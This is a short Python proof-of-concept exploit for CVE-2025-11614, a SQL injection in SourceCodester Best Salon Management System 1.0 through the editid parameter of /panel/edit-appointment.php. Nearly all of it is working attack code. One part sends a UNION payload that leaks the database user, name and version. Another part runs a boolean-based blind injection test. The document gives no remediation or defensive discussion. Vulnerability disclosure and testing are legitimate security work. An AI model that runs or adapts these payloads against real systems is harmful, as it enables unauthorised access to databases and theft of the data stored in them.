CVE-2025-11614：SourceCodester美容管理系统SQL注入漏洞

# CVE-2025-11614 - SourceCodester Best Salon Management System 1.0 # SQL Injection PoC via editid parameter in /panel/edit-appointment.php import requests # Target configuration TARGET_URL = "http://target.com/panel/edit-appointment.php" # SQL Injection payload via editid parameter # Using UNION-based injection to extract database information PAYLOAD = "1' UNION SELECT 1,user(),database(),version(),5,6,7,8,9,10-- -" # Send exploit request params = { "editid": PAYLOAD } response = requests.get(TARGET_URL, params=params) if response.status_code == 200: print("[+] Exploit sent successfully!") print("[+] Response snippet:") print(response.text[:500]) # Check if injection succeeded by looking for database info in response if "@" in response.text or "mysql" in response.text.lower(): print("[+] SQL Injection confirmed - database info leaked!") else: print(f"[-] Request failed with status code: {response.status_code}") # Alternative boolean-based blind injection test def test_blind_injection(url, param_name="editid"): """Test for boolean-based blind SQL injection""" true_payload = f"1' AND 1=1-- -" false_payload = f"1' AND 1=2-- -" true_response = requests.get(url, params={param_name: true_payload}) false_response = requests.get(url, params={param_name: false_payload}) if true_response.text != false_response.text: print("[+] Boolean-based blind SQL injection confirmed!") return True return False # Run blind injection test test_blind_injection(TARGET_URL)